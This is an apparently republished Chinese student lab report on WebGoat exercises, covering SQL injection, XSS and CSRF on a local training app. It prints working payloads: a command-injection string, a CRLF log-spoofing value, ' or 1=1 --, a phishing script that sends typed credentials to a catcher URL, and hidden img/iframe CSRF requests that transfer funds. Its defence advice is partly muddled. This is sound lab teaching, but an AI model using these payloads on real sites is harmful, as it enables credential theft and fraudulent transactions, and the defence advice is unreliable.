2018-2019-2 网络对抗技术 20165305 Exp 9 Web安全基础

1.基础问题回答

(1)SQL注入攻击原理,如何防御

(2)XSS攻击的原理,如何防御

(3)CSRF攻击原理,如何防御

2.实践过程记录

WebGoat
SQL注入攻击

  1. 命令注入
  2. 日志欺骗
  3. LAB: SQL Injection

XSS攻击

  1. Phishing with XSS 跨站脚本钓鱼攻击
  2. 存储型XSS攻击(Stored XSS Attacks)
  3. Reflected XSS Attacks 反射型XSS攻击

CSRF攻击

  1. Cross Site Request Forgery(CSRF)
  2. SRF Prompt By-Pass
3.实验总结与体会

基础问题回答


(1)SQL注入攻击原理,如何防御
原理:
SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
SQL注入一般分为普通注入和盲注:
普通注入:后台数据库会回显有价值的提示信息,通过这些可能的报错信息可以更容易地进行注入,适合新手入门训练。
盲注:后台管理员在给出错误页面时,没有提供详细错误信息。攻击者需要运用脚本通过仅有的判断信息(比如时间差)对表中的每一个字段进行探测,从而实现注入。
防御:不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
将数据库里的内容进行加密处理使其不具有特殊的意义。

(2)XSS攻击的原理,如何防御
原理:
攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
防御:在表单提交或者url参数传递前,对需要的参数进行过滤;
检查用户输入的内容中是否有非法内容。

(3)CSRF攻击原理,如何防御
原理:
CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
防御:添加加随机验证;
设定cookie域。

实践过程


一、WebGoat

因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
普通安装,命令行输入java -jar webgoa t-container-7.0.1-war-exec.jar。
浏览器转:localhost:8080/WebGoat 直接用默认用户名密码登录即可,开始练习。
1296997-20190526202417228-47591361.png

1296997-20190526202423255-687861300.png

二、SQL注入攻击(Injection Flaws)

1.命令注入
先在左侧点击Injection Flaws,Command Injection,再右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"
点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

1296997-20190526202508481-789198055.png

2.日志欺骗
点击Injection Flaws-Log Spoofing
在User Name中填入webgoat%0d%0aLogin Succeeded for username: admin,利用回车0D%和换行符%0A让其在日志中两行显示
输入密码后点击Login,可以看到webgoat在Login Fail那行显示,我们自己添加的语句在下一行显示。
1296997-20190526202552546-278836793.png

3.LAB: SQL Injection
在密码框输入' or 1=1 --,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
我们在密码框右键选择inspect Element审查网页元素对长度进行修改 。
重新输入' or 1=1 --,登录成功。
1296997-20190526203050755-1146383029.png

三、XSS攻击

1. Phishing with XSS 跨站脚本钓鱼攻击
一个带用户名和密码输入框的表格如下:

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

在XSS-Phishing with XSS搜索上面代码,可以看到页面中增加了一个表单。

1296997-20190526203234520-109164371.png

现在我们需要一段脚本:

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
将上面两段代码合并搜索。

<script>
function hack()
{ 
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
  XSSImage=new Image; 
  XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
} 
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。
1296997-20190526203240418-1408758634.png

2.存储型XSS攻击(Stored XSS Attacks)
在title中任意输入字符,留言板中输入<script>alert("I am 20165305. You've been attacked!!!");</script>
点击刚才输入的title,然后会弹出一个对话框,证明XSS攻击成功。
1296997-20190526203932337-1539619091.png

3. Reflected XSS Attacks 反射型XSS攻击

Enter your three digit access code:中输入<script>alert("I am 20165305");</script>点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。

1296997-20190526203946248-454199.png

四、CSRF攻击

1.Cross Site Request Forgery(CSRF)
点击XSS-Cross Site Request Forgery(CSRF)
查看页面右下方Parameters中的src和menu值.
在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=520&menu=900&transferFunds=10000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=10000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的10000元,从而达到CSRF攻击的目的。

1296997-20190526203953356-471239413.png

2. CSRF Prompt By-Pass
点击XSS-CSRF Prompt By-Pass
同上面的攻击,查看页面右下方的Parameters中的src和menu值,并输入任意的Title,message框中输入代码

<iframe src="attack?Screen=536&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=536&menu=900&transferFunds=CONFIRM"> </iframe>

点击Submit生成以Title命名的链接,点击链接,攻击成功
1296997-20190526203959034-691468221.png

实验总结与体会

本次实验基本上都是在webgoat里面实现的,所以我认为本次实验的难点在于webgoat的使用。在webgoat的列表中有很多的模块,而我从里面选了一些比较典型的进行了实验。我认为本次实验还不是很难。

转载于:https://www.cnblogs.com/2332175994-1314/p/10927440.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值